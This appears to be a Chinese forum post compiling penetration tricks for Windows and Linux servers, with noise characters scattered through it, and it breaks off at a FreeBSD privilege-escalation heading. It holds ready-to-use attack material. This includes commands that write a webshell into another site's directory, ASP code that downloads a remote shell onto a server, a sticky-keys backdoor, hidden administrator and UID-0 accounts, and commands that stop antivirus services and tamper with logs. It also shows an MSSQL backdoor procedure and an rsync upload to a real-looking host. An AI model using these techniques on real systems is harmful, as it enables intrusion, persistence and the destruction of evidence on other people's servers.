渗透技巧总结

admin

旁站路径问题
* }7 j4 N' F2 s! m6 r: P1、读网站配置。
2、用以下VBS
On Error Resume Next
+ @: I, P( P! {3 c& {7 qIf (LCase(Right(WScript.Fullname,11))="wscript.exe") Then
        

6 [  e# K& N3 O# Y; N6 uMsgbox Space(12) & "IIS Virtual Web Viewer" & Space(12) & Chr(13) & Space(9) & "
! c4 b' D( B* K2 H& I  O
4 N, K9 r# ?* }4 R* `5 T1 n6 @3 |Usage:Cscript vWeb.vbs",4096,"Lilo"
  J7 X% E# `0 E$ E        WScript.Quit
End If
& H" V/ V! s+ @6 D* ?4 I: Y/ l7 I, j5 jSet ObjService=GetObject

("IIS://LocalHost/W3SVC")
For Each obj3w In objservice
7 b0 n4 L' t! N5 f) J1 ~        If IsNumeric(obj3w.Name)
7 j, q( d+ y  e- w
1 D$ c5 ]$ i) U$ pThen
' z4 b9 U) o. A$ c1 |- z6 a' J                Set OService=GetObject("IIS://LocalHost/W3SVC/" & obj3w.Name)
6 v) i  j+ M4 Q         

       Set VDirObj = OService.GetObject("IIsWebVirtualDir", "ROOT")
$ a/ c, r0 ]9 ~$ c- I! X8 W* ~' Y                If Err
0 B4 \% H0 A6 o1 ^/ C  @4 [* Z  g
( q8 N: d, v" `7 v$ b5 e<> 0 Then WScript.Quit (1)
                WScript.Echo Chr(10) & "[" &

OService.ServerComment & "]"
                For Each Binds In OService.ServerBindings
& g0 N$ b0 q, O1 ^0 @     
. P9 C1 V7 X; d. |8 _" |) A3 v
" m' [$ h  t4 s1 H9 A$ j4 t% M6 Q                   Web = "{ " & Replace(Binds,":"," } { ") & " }"
                        
) A) ]& g7 H9 }/ b" y
- W. @9 [) a. u7 q( w$ G  OWScript.Echo Replace(Split(Replace(Web," ",""),"}{")(2),"}","")
                Next
* j& S, P8 Q& ~6 u      
' z( ?' b& N! F6 E
         WScript.Echo "ath            : " & VDirObj.Path
        End If
* F: ?; q+ i* q; k0 b  dNext
) P; G+ A4 t( A2 s. C  p: M复制代码
7 l4 O) l3 i1 a) b3 h3、iis_spy列举（注：需要支持ASPX，反IISSPY的方法：将activeds.dll，activeds.tlb降权）
4、得到目标站目录，不能直接跨的。通过echo  ^<%execute(request("cmd"))%^> >>X:\目标目录\X.asp 或者copy 脚本文件 X:\目标目录\X.asp  像目标目录写入webshell。或者还可以试试type命令.
—————————————————————
WordPress的平台，爆绝对路径的方法是：
url/wp-content/plugins/akismet/akismet.php
- G% K0 S) H2 }+ x( v- zurl/wp-content/plugins/akismet/hello.php
——————————————————————
phpMyAdmin暴路径办法:
phpMyAdmin/libraries/select_lang.lib.php
; X% `# z  f0 L7 f1 O  e) o7 D* [% zphpMyAdmin/darkblue_orange/layout.inc.php
phpMyAdmin/index.php?lang[]=1
! K- ]& M: P: s5 `0 z$ u8 t7 |% Fphpmyadmin/themes/darkblue_orange/layout.inc.php
————————————————————
网站可能目录(注：一般是虚拟主机类）
0 |; T8 h7 N/ j8 S( Vdata/htdocs.网站/网站/
————————————————————
0 Q: O! P) x. s  bCMD下操作VPN相关
. P$ Q8 M; O, z. l$ A' [, |netsh ras set user administrator permit #允许administrator拨入该VPN
netsh ras set user administrator deny #禁止administrator拨入该VPN
4 K: z, R3 k' wnetsh ras show user #查看哪些用户可以拨入VPN
/ C  O5 `$ G7 a2 p; Hnetsh ras ip show config #查看VPN分配IP的方式
1 r# U. g2 U8 r3 y/ G) F5 Z) Pnetsh ras ip set addrassign method = pool #使用地址池的方式分配IP
; _7 N6 W7 |/ i9 z% snetsh ras ip add range from = 192.168.3.1 to = 192.168.3.254 #地址池的范围是从192.168.3.1到192.168.3.254
+ W' O' C/ h/ [- p. A, J————————————————————
" s" Y/ T/ k+ V; L: L/ [( i命令行下添加SQL用户的方法
1 M6 [, [* V! j( ?6 p/ L需要有管理员权限,在命令下先建立一个c:\test.qry文件,内容如下:
exec master.dbo.sp_addlogin test,123
3 _1 _7 U" N3 q" ?EXEC sp_addsrvrolemember 'test, 'sysadmin'
8 w2 e6 c& S, d- f) I/ _然后在DOS下执行:cmd.exe /c isql -E /U alma /P /i c:\test.qry
& q, A; \7 z+ Z- w1 s; O/ q( K- m0 v
( q1 f4 n+ L# L) }  p另类的加用户方法
在删掉了net.exe和不用adsi之外，新的加用户的方法。代码如下：
5 K" g) C, y% Ijs:
var o=new ActiveXObject( "Shell.Users" );
! S% S* K% x9 j- qz=o.create("test") ;
z.changePassword("123456","")
z.setting("AccountType")=3;
0 g" x1 s* D5 D4 b& \7 z
) ~, n' ?+ y: |* t- u1 U1 Zvbs:
7 k- A- o- m+ `$ ]. Y8 cSet   o=CreateObject( "Shell.Users" )
Set z=o.create("test")
1 ]6 t2 ~. c" J: H0 B7 \  c/ g! ]z.changePassword "123456",""
  h/ F5 U* ]% d# j9 Gz.setting("AccountType")=3
0 e6 I! W. t% K- }——————————————————
cmd访问控制权限控制（注：反everyone不可读，工具-文件夹选项-使用简单的共享去掉即可）

( d0 k& X# y1 \" f命令如下
# x5 P! O: o& r" R' zcacls c: /e /t /g everyone:F           #c盘everyone权限
cacls "目录" /d everyone               #everyone不可读，包括admin
————————以下配合PR更好————
* G% y4 y, t9 a2 O% m7 W" Q3389相关
a、防火墙TCP/IP筛选.（关闭net stop policyagent & net stop sharedaccess）
b、内网环境（LCX）
c、终端服务器超出了最大允许连接
XP 运行mstsc /admin
2003 运行mstsc /console   

( V% i: [1 X$ h* [& l3 }; s/ u$ d杀软关闭（把杀软所在的文件的所有权限去掉）
处理变态诺顿企业版：
; _9 A+ f+ r$ v9 ^net stop "Symantec AntiVirus" /y
; A3 V! Z* E  M; T3 inet stop "Symantec AntiVirus Definition Watcher" /y
# W3 u  L8 `# r+ e! Y* W& W2 j1 Dnet stop "Symantec Event Manager" /y
+ A# t& W# z* g5 J1 J2 Anet stop "System Event Notification" /y
) ]$ f% l/ {% {4 v" }3 Enet stop "Symantec Settings Manager" /y
! Q$ ~7 [( R) z8 p" ]* ^
卖咖啡：net stop "McAfee McShield"
————————————————————
  g1 _- Y+ C; N; |* p
  W) ]- ~5 H/ N5次SHIFT：
copy %systemroot%\system32\sethc.exe %systemroot%\system32\dllcache\sethc1.exe
* S" z8 g4 b1 x3 {copy %systemroot%\system32\cmd.exe %systemroot%\system32\dllcache\sethc.exe /y
) E) k, b* t' z. X* l$ B: ?: j) _copy %systemroot%\system32\cmd.exe %systemroot%\system32\sethc.exe /y
——————————————————————
隐藏账号添加：
2 X( u  P/ U/ m5 W: A1、net user admin$ 123456 /add&net localgroup administrators admin$ /add
2、导出注册表SAM下用户的两个键值
7 E2 I. n& I2 E; l0 s6 ]  `3、在用户管理界面里的admin$删除，然后把备份的注册表导回去。
3 J5 A8 O1 @% p! s4、利用Hacker Defender把相关用户注册表隐藏
: z1 g& ?% H7 f3 O( y5 h0 `$ Z——————————————————————
MSSQL扩展后门：
: Z/ w  Z( C7 |( TUSE master;
EXEC sp_addextendedproc 'xp_helpsystem', 'xp_helpsystem.dll';
GRANT exec On xp_helpsystem TO public;
2 Q4 x' _; ~; I$ H$ E———————————————————————
1 W* T/ P& @( X5 w2 ?& H5 ?日志处理
C:\WINNT\system32\LogFiles\MSFTPSVC1>下有
9 U; s# I. i) Oex011120.log / ex011121.log / ex011124.log三个文件，
& {- v  u2 ]% r' V: m4 B) Y8 F* `直接删除 ex0111124.log
不成功，“原文件...正在使用”
8 k' S5 j* s% M; p- I4 c当然可以直接删除ex011120.log / ex011121.log
9 G1 O2 S. i& ?) ]% s用记事本打开ex0111124.log，删除里面的一些内容后，保存，覆盖退出，成功。
当停止msftpsvc服务后可直接删除ex011124.log

MSSQL查询分析器连接记录清除：
' G7 P/ ?: j- l7 P8 |MSSQL 2000位于注册表如下：
HKEY_CURRENT_USER\Software\Microsoft\Microsoft SQL Server\80\Tools\Client\PrefServers
找到接接过的信息删除。
; ?$ k4 m' I. x9 r: s( \( I' yMSSQL 2005是在C:\Documents and Settings\<user>\Application Data\Microsoft\Microsoft SQL

% p6 t- P7 D1 I3 V3 D; p  rServer\90\Tools\Shell\mru.dat
$ v2 a( G; \: ]9 c—————————————————————————
  K1 v  m" A% _9 P; w防BT系统拦截可使用远程下载shell，也达到了隐藏自身的效果，也可以做为超隐蔽的后门，神马的免杀webshell，用服务器安全工具一扫通通挂掉了）
2 R- I. ]$ G3 \; r' L) u) U) t) e
, [/ ~" B$ b" a; {4 d<%
Sub eWebEditor_SaveRemoteFile(s_LocalFileName,s_RemoteFileUrl)
Dim Ads, Retrieval, GetRemoteData
On Error Resume Next
* T) W! k9 R6 \0 GSet Retrieval = Server.CreateObject("Microsoft.XMLHTTP")
0 R5 ]) _0 S7 ?" J, pWith Retrieval
.Open "Get", s_RemoteFileUrl, False, "", ""
( s: l1 T& ^) v- \4 N5 ~( \1 B% M.Send
) ~% w$ f9 o% Y$ k, F# zGetRemoteData = .ResponseBody
End With
Set Retrieval = Nothing
: w0 [# H" L/ HSet Ads = Server.CreateObject("Adodb.Stream")
. ]( q( A& I, [0 B7 s/ qWith Ads
4 Q  }3 _' o) z# p.Type = 1
/ Y4 V/ G) I7 \.Open
/ x  e) G. {8 c: W! h$ R8 p.Write GetRemoteData
: E3 t/ S( [7 F9 u.SaveToFile Server.MapPath(s_LocalFileName), 2
3 U( {% ^; v1 Y6 K& I6 h6 ^.Cancel()
.Close()
7 ?( L. @6 |" q6 `1 L  F8 V8 {End With
% Z0 [4 X8 Q0 wSet Ads=nothing
End Sub
$ o- L6 U# R( w( Q+ H" T+ Q
eWebEditor_SaveRemoteFile"your shell's name","your shell'urL"
%>

! s3 U+ `8 f3 |: j1 nVNC提权方法:
利用shell读取vnc保存在注册表中的密文，使用工具VNC4X破解
注册表位置：HKEY_LOCAL_MACHINE\SOFTWARE\RealVNC\WinVNC4\password
, C4 B3 e- Y# [" F6 fregedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\SOFTWARE\ORL"
regedit -e c:\reg.dll "HKEY_LOCAL_MACHINE\Software\RealVNC\WinVNC4"
6 R2 V& }8 ]$ y& P; NRadmin 默认端口是4899，
HKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Parameter//默认密码注册表位置
% S* P( D$ u/ e- J" zHKEY_LOCAL_MACHINE\SYSTEM\RAdmin\v2.0\Server\Parameters\Port //默认端口注册表位置
, W8 G7 T7 l' N7 G然后用HASH版连接。
如果我们拿到一台主机的WEBSEHLL。通过查找发现其上安装有PCANYWHERE 同时保存密码文件的目录是允许我们的IUSER权限访问，我们可以下载这个CIF文件到本地破解，再通过PCANYWHERE从本机登陆服务器。
保存密码的CIF文件,不是位于PCANYWHERE的安装目录,而且位于安装PCANYWHERE所安装盘的\Documents and Settings\All Users\Application Data\Symantec\pcAnywhere\ 如果PCANYWHERE安装在D:\program\文件下下，那么PCANYWHERE的密码文件就保存在D:\Documents and Settings\All
. I2 G; L* [4 c2 `% J+ N. fUsers\Application Data\Symantec\pcAnywhere\文件夹下。
4 o2 ]* r6 M5 T' _2 z- V; i——————————————————————
搜狗输入法的PinyinUp.exe是可读可写的直接替换即可
——————————————————----------
WinWebMail目录下的web必须设置everyone权限可读可写，在开始程序里，找到WinWebMail快捷方式下下
8 y5 m. E3 d8 n! B6 T7 |来，看路径，访问 路径\web传shell，访问shell后，权限是system，放远控进启动项，等待下次重启。
没有删cmd组建的直接加用户。
+ [9 t  f# a5 }6 X% L7i24的web目录也是可写，权限为administrator。
9 _  O9 J; N8 k& h  ^
$ l  i, V. e3 E' ?# \6 B3 i1433 SA点构建注入点。
6 @5 q9 Y- @) |  B- I<%
9 b* ~/ u! L: [7 F8 zstrSQLServerName = "服务器ip"
strSQLDBUserName = "数据库帐号"
: V" C( w7 c3 t$ `strSQLDBPassword = "数据库密码"
strSQLDBName = "数据库名称"
Set conn = Server.createObject("ADODB.Connection")
strCon = "rovider=SQLOLEDB.1ersist Security Info=False;Server=" & strSQLServerName &

; U  k8 s3 Y9 E! ?: ?$ a* A8 q";User ID=" & strSQLDBUserName & "assword=" & strSQLDBPassword & ";Database=" &
/ Z3 n7 ^2 |+ \1 ]; B& @
5 K& W$ f$ u0 zstrSQLDBName & ";"
conn.open strCon
$ r) q: H" Y& u2 b/ ^) Odim rs,strSQL,id
7 L. ~) D; ^% f9 n3 oset rs=server.createobject("ADODB.recordset")
9 N5 N; Q& N1 J5 M# Z! Qid = request("id")
strSQL = "select * from ACTLIST where worldid=" & idrs.open strSQL,conn,1,3
: z0 V1 Z% F6 C" W+ \rs.close
! j3 G7 ~1 Y' {. {%>
复制代码
* q, S/ e5 s* V2 `: L  u3 q1 `/ s******liunx 相关******
一.ldap渗透技巧
5 A7 U9 V3 _/ K2 O1.cat /etc/nsswitch
看看密码登录策略我们可以看到使用了file ldap模式

2.less /etc/ldap.conf
base ou=People,dc=unix-center,dc=net
2 T5 l2 O( r4 H2 A& P; V  j% Z7 q5 y5 [找到ou,dc,dc设置
+ Y$ H0 Z. ~* v, Z- D& C
7 J4 x! J3 q) K' |5 g$ M# n3.查找管理员信息
匿名方式
ldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b
+ G" c, @4 d# D
+ k! a4 n; o# t) V5 D% m8 U"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
$ `8 p+ B+ j: [有密码形式
ldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

. M1 Q1 i% k  `+ X$ Y"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2

/ f7 \$ w" N7 h6 H" e; Z
' S' L9 t' E; y, Z! R- s6 S4.查找10条用户记录
$ j% @5 y: z0 B4 N3 g2 qldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口

实战:
  p3 [/ u1 w- B$ |& b# `* f1.cat /etc/nsswitch
看看密码登录策略我们可以看到使用了file ldap模式
: ?# U7 q$ g9 U0 v
2.less /etc/ldap.conf
base ou=People,dc=unix-center,dc=net
找到ou,dc,dc设置
# ~4 V6 L9 r0 E1 E( E& g
- R' E9 L6 D8 M. g3.查找管理员信息
& I% ]% \4 J, m; A+ E匿名方式
: q' b# P# h, `. J8 }- Yldapsearch -x -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
4 v1 _- \. U3 z! K" E有密码形式
/ w. [* e) F8 u0 Nldapsearch -x -W -D "cn=administrator,cn=People,dc=unix-center,dc=net" -b

/ n2 q. {  w  \"cn=administrator,cn=People,dc=unix-center,dc=net" -h 192.168.2.2
" ?9 b, P1 Y& q3 O( l2 ?
0 K& C- }; D0 u
7 }5 v. M2 D+ N1 Q4 s( u6 e4.查找10条用户记录
ldapsearch -h 192.168.2.2 -x -z 10 -p 指定端口
2 D7 r0 @2 a8 K" s# u2 Z+ l% y
1 s1 U- G0 O! [' m渗透实战:
1.返回所有的属性
9 t  F/ v; Z3 y4 `' Y: ]% Sldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s sub "objectclass=*"
! `3 F/ {5 s+ h3 q- ?! |version: 1
( v  J; m, G* J0 A2 bdn: dc=ruc,dc=edu,dc=cn
3 l4 [: W) c% S  Q/ Gdc: ruc
objectClass: domain
2 s) ^8 [/ E, J* F
dn: uid=manager,dc=ruc,dc=edu,dc=cn
3 K( U' S# d3 p6 juid: manager
objectClass: inetOrgPerson
objectClass: organizationalPerson
" h) N9 _$ |+ Y* {objectClass: person
# y, x6 V0 U7 J% a& E" W9 N1 _objectClass: top
sn: manager
cn: manager
# ?4 P3 S5 m9 A% v0 b
  A) m9 s. h/ Mdn: uid=superadmin,dc=ruc,dc=edu,dc=cn
uid: superadmin
5 E8 d2 m8 j' Q5 T- zobjectClass: inetOrgPerson
) J3 c7 M, P# r8 z  ZobjectClass: organizationalPerson
. W% y; F5 e" |% F3 wobjectClass: person
; `" ]" h/ ^  Y  _objectClass: top
- C5 ]  v! r, ~: d  R- |& ]sn: superadmin
- z! o$ Q9 {6 X- Bcn: superadmin

' }) t$ L* v7 W& v) F& r7 xdn: uid=admin,dc=ruc,dc=edu,dc=cn
uid: admin
$ O' r" U3 Y1 T) l2 D' hobjectClass: inetOrgPerson
% Y; b0 P# \; PobjectClass: organizationalPerson
6 L7 F* a% z6 `$ xobjectClass: person
! |" }; R7 [. S3 k0 @" @1 oobjectClass: top
sn: admin
cn: admin
/ P) G8 H$ K" ~" l: g+ Z- y/ _
dn: uid=dcp_anonymous,dc=ruc,dc=edu,dc=cn
, @! `6 v$ `% Y4 O& I* [uid: dcp_anonymous
) n0 x+ }) j4 T% d/ DobjectClass: top
objectClass: person
objectClass: organizationalPerson
objectClass: inetOrgPerson
. T$ p8 \. }. _# C3 p6 z6 Y8 ^5 Msn: dcp_anonymous
cn: dcp_anonymous
/ E, }* m( @6 r! N+ j) S8 g5 `
2.查看基类
. G8 B9 w0 s* s  l* ]bash-3.00# ldapsearch -h 192.168.7.33 -b "dc=ruc,dc=edu,dc=cn" -s base "objectclass=*" |

: C) c" i+ u7 U' e- W# rmore
8 \1 @. h+ M# }1 s8 `" R* V6 o+ uversion: 1
dn: dc=ruc,dc=edu,dc=cn
dc: ruc
/ V& F! U# e. c, S+ CobjectClass: domain
- Q/ f3 C. V' B9 ]0 c. M
3.查找
bash-3.00# ldapsearch -h 192.168.7.33 -b "" -s base "objectclass=*"
version: 1
% ~/ c6 E3 o2 B# B/ O- r- Jdn:
objectClass: top
namingContexts: dc=ruc,dc=edu,dc=cn
. e9 v$ d& G# Q2 ZsupportedExtension: 2.16.840.1.113730.3.5.7
- q8 }5 q; T5 m. ?! |supportedExtension: 2.16.840.1.113730.3.5.8
supportedExtension: 1.3.6.1.4.1.4203.1.11.1
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.25
supportedExtension: 2.16.840.1.113730.3.5.3
; y' F  J9 s% U# ?8 ?supportedExtension: 2.16.840.1.113730.3.5.5
supportedExtension: 2.16.840.1.113730.3.5.6
supportedExtension: 2.16.840.1.113730.3.5.4
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.1
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.2
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.3
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.4
+ ^! d2 {3 O/ l6 v8 v7 r, GsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.5
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.6
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.7
6 D+ a( y4 l, n1 T& j, [supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.8
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.9
5 e) T4 x: ~2 V- p  J9 d& DsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.23
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.11
0 _, B0 x4 h4 hsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.12
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.13
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.14
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.15
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.16
) F3 S0 S; E7 y; x6 O2 A. R5 B6 JsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.17
+ @+ J7 [. d" Z5 T7 A$ KsupportedExtension: 1.3.6.1.4.1.42.2.27.9.6.18
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.19
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.21
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.22
supportedExtension: 1.3.6.1.4.1.42.2.27.9.6.24
supportedExtension: 1.3.6.1.4.1.1466.20037
& p; k* X& r( F0 k5 usupportedExtension: 1.3.6.1.4.1.4203.1.11.3
supportedControl: 2.16.840.1.113730.3.4.2
supportedControl: 2.16.840.1.113730.3.4.3
5 J! t5 R. n2 L( G9 i- L$ SsupportedControl: 2.16.840.1.113730.3.4.4
# V: v# i' y. @+ W! f$ nsupportedControl: 2.16.840.1.113730.3.4.5
0 `$ b2 }; j  E, f( X! x1 ~supportedControl: 1.2.840.113556.1.4.473
supportedControl: 2.16.840.1.113730.3.4.9
supportedControl: 2.16.840.1.113730.3.4.16
supportedControl: 2.16.840.1.113730.3.4.15
' A( |5 m9 P2 E7 f/ N  t5 c) xsupportedControl: 2.16.840.1.113730.3.4.17
6 Z% J  c( I+ J/ W2 {supportedControl: 2.16.840.1.113730.3.4.19
, g% D+ z& y! {+ A6 XsupportedControl: 1.3.6.1.4.1.42.2.27.9.5.2
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.6
supportedControl: 1.3.6.1.4.1.42.2.27.9.5.8
5 D. p8 {  ~. F  l* g' m1 jsupportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
supportedControl: 1.3.6.1.4.1.42.2.27.8.5.1
8 @  R! L$ l4 d# K- r# X3 FsupportedControl: 2.16.840.1.113730.3.4.14
supportedControl: 1.3.6.1.4.1.1466.29539.12
5 H' G( L, W2 {" fsupportedControl: 2.16.840.1.113730.3.4.12
supportedControl: 2.16.840.1.113730.3.4.18
: v$ T% R4 P+ |! b9 w7 D" FsupportedControl: 2.16.840.1.113730.3.4.13
$ P. _$ f; i" ^* b" usupportedSASLMechanisms: EXTERNAL
supportedSASLMechanisms: DIGEST-MD5
. k2 C' O1 B$ h: ssupportedLDAPVersion: 2
. N. X) M9 R0 P5 `+ a: u: {. wsupportedLDAPVersion: 3
! t- H$ d" o3 EvendorName: Sun Microsystems, Inc.
7 l9 @, z" ]2 n5 N4 w; `2 W4 ~vendorVersion: Sun-Java(tm)-System-Directory/6.2
9 e" B5 W) w- j) ^$ q4 T8 hdataversion: 020090516011411
" J( U' P: P) dnetscapemdsuffix: cn=ldap://dc=webA:389
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_256_CBC_SHA
! V% A# U  ^1 |0 }- E0 e. [supportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_256_CBC_SHA
; I4 w8 D$ n2 ^/ h0 ZsupportedSSLCiphers: TLS_DHE_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_256_CBC_SHA
( h& c+ Z* s4 o5 N: t& H* B3 TsupportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_RSA_WITH_AES_256_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_AES_128_CBC_SHA
; U3 y: [! b4 K1 J: @. PsupportedSSLCiphers: TLS_DHE_DSS_WITH_RC4_128_SHA
+ A( q' I# Q# N- H( h  ?- _* }supportedSSLCiphers: TLS_DHE_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_DHE_DSS_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_RC4_128_SHA
- i6 c7 p$ s" n. M3 e  {0 [4 OsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_AES_128_CBC_SHA
supportedSSLCiphers: SSL_RSA_WITH_RC4_128_MD5
9 h7 U" h3 b" `& vsupportedSSLCiphers: SSL_RSA_WITH_RC4_128_SHA
supportedSSLCiphers: TLS_RSA_WITH_AES_128_CBC_SHA
2 H. e- U9 {: X, q' I# f9 {6 t2 Z& KsupportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDHE_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_DHE_DSS_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDH_RSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: TLS_ECDH_ECDSA_WITH_3DES_EDE_CBC_SHA
supportedSSLCiphers: SSL_RSA_FIPS_WITH_3DES_EDE_CBC_SHA
, R# R7 M" r, e' i6 u5 g3 W0 rsupportedSSLCiphers: SSL_RSA_WITH_3DES_EDE_CBC_SHA
. k  Q4 U6 r* E; u, T; {2 a, h  {. dsupportedSSLCiphers: SSL_DHE_RSA_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_DHE_DSS_WITH_DES_CBC_SHA
supportedSSLCiphers: SSL_RSA_FIPS_WITH_DES_CBC_SHA
* \+ F( X, z0 ~! PsupportedSSLCiphers: SSL_RSA_WITH_DES_CBC_SHA
1 Q: m1 q3 @0 `" c7 [/ a2 GsupportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_RC4_56_SHA
supportedSSLCiphers: TLS_RSA_EXPORT1024_WITH_DES_CBC_SHA
+ J' V" u. ~! k. O7 b% ksupportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC4_40_MD5
' P; ^' v6 i0 X, c( f, ZsupportedSSLCiphers: SSL_RSA_EXPORT_WITH_RC2_CBC_40_MD5
supportedSSLCiphers: TLS_ECDHE_ECDSA_WITH_NULL_SHA
2 O0 K( L7 v8 H( x2 ssupportedSSLCiphers: TLS_ECDHE_RSA_WITH_NULL_SHA
  v5 L9 Z% [. G: ~; \1 fsupportedSSLCiphers: TLS_ECDH_RSA_WITH_NULL_SHA
+ e# T3 m, r8 D" p! LsupportedSSLCiphers: TLS_ECDH_ECDSA_WITH_NULL_SHA
supportedSSLCiphers: SSL_RSA_WITH_NULL_SHA
6 B7 w: S& ^+ ~, f/ W& q' b/ TsupportedSSLCiphers: SSL_RSA_WITH_NULL_MD5
  d- t, t) \' {+ x4 O: EsupportedSSLCiphers: SSL_CK_RC4_128_WITH_MD5
& P. `2 t4 E1 g, ?# w: C% qsupportedSSLCiphers: SSL_CK_RC2_128_CBC_WITH_MD5
supportedSSLCiphers: SSL_CK_DES_192_EDE3_CBC_WITH_MD5
) B2 B3 `: ?) W( [- R) }" J, FsupportedSSLCiphers: SSL_CK_DES_64_CBC_WITH_MD5
7 w: @7 t, V. Y, MsupportedSSLCiphers: SSL_CK_RC4_128_EXPORT40_WITH_MD5
supportedSSLCiphers: SSL_CK_RC2_128_CBC_EXPORT40_WITH_MD5
————————————
2. NFS渗透技巧
: H! g& \) B$ ?3 Q. N/ Ushowmount -e ip
9 o& P, d# S( g/ W列举IP
——————
3.rsync渗透技巧
1.查看rsync服务器上的列表
rsync 210.51.X.X::
finance
/ B3 A* q/ \; a; \) Nimg_finance
. V* C0 Z( @9 l9 U- mauto
img_auto
% U* S  e/ ^2 V7 B" Nhtml_cms
img_cms
ent_cms
ent_img
6 k& O# N; i7 [# v. hceshi
2 k  a- i# X0 R  i/ vres_img
res_img_c2
chip
chip_c2
ent_icms
  I- G2 ~, `2 g( a, fgames
8 S8 C* @, i" K9 A; o# Wgamesimg
6 ]' b' w4 P- a# {- tmedia
mediaimg
# n# z& I8 R$ q4 ~2 G  Yfashion
res-fashion
res-fo
% f1 j9 |" {- c$ G8 c, A  k6 Utaobao-home
res-taobao-home
& A( F: p, L4 t  u6 a; V& M8 Yhouse
2 I6 y& c, r3 Z+ e+ }3 nres-house
3 K6 _& Y2 ^: P' cres-home
" i) ^) g" ^. K) t9 a0 ]% y( \res-edu
res-ent
res-labs
res-news
  g* H: I9 o( m; b; E. a& `res-phtv
) g/ T* I7 }3 ?res-media
2 `$ g3 {+ \& B0 x% Q, Hhome
edu
news
res-book

看相应的下级目录(注意一定要在目录后面添加上/)
, j9 i! i" n! Z0 L$ _  X7 D& R

rsync 210.51.X.X::htdocs_app/
( w8 ^! f. G; n$ X, ~rsync 210.51.X.X::auto/
rsync 210.51.X.X::edu/
* {2 u: P: @7 B9 m, _  X' f* Z
4 w- t, z4 a5 @2.下载rsync服务器上的配置文件
rsync -avz 210.51.X.X::htdocs_app/ /tmp/app/
. ~1 c, M$ j8 `1 w- n
$ @: l7 G; g) X, l4 _3.向上更新rsync文件(成功上传,不会覆盖)
rsync -avz nothack.php 210.51.X.X::htdocs_app/warn/
http://app.finance.xxx.com/warn/nothack.txt
/ O* p* P) P: E! N
; ?$ I& W& k9 @) F4 ], q四.squid渗透技巧
8 L7 I. o. d* Q/ Y5 ?2 Pnc -vv baidu.com 80
) p7 N: B5 }* l$ {( ~1 E; ~GET HTTP://www.sina.com / HTTP/1.0
GET HTTP://WWW.sina.com:22 / HTTP/1.0
) N3 s5 O* E; o3 F6 w0 ]五.SSH端口转发
ssh -C -f -N -g -R 44:127.0.0.1:22 cnbird@ip
& U2 E9 ]* s) U3 Q+ }3 [1 k
六.joomla渗透小技巧
/ {& Z% L  z, o: \3 A6 d2 T! O确定版本
index.php?option=com_content&view=article&id=30:what-languages-are-supported-by-joomla-
# u& m4 s1 n) [. @; u7 Q, y
15&catid=32:languages&Itemid=47
' l7 r. c6 }6 E! c2 z" F
1 {4 q/ m9 |" D重新设置密码
0 {1 B8 k! V+ d9 Kindex.php?option=com_user&view=reset&layout=confirm

, O; F/ V. t& _: U七: Linux添加UID为0的root用户
- p2 M$ v( V8 j6 c5 Z  M4 euseradd -o -u 0 nothack
) O; a# |7 U" _
' d  _! h* U9 G, i* T八.freebsd本地提权
) ^0 b6 p4 U; e" @1 z[argp@julius ~]$ uname -rsi
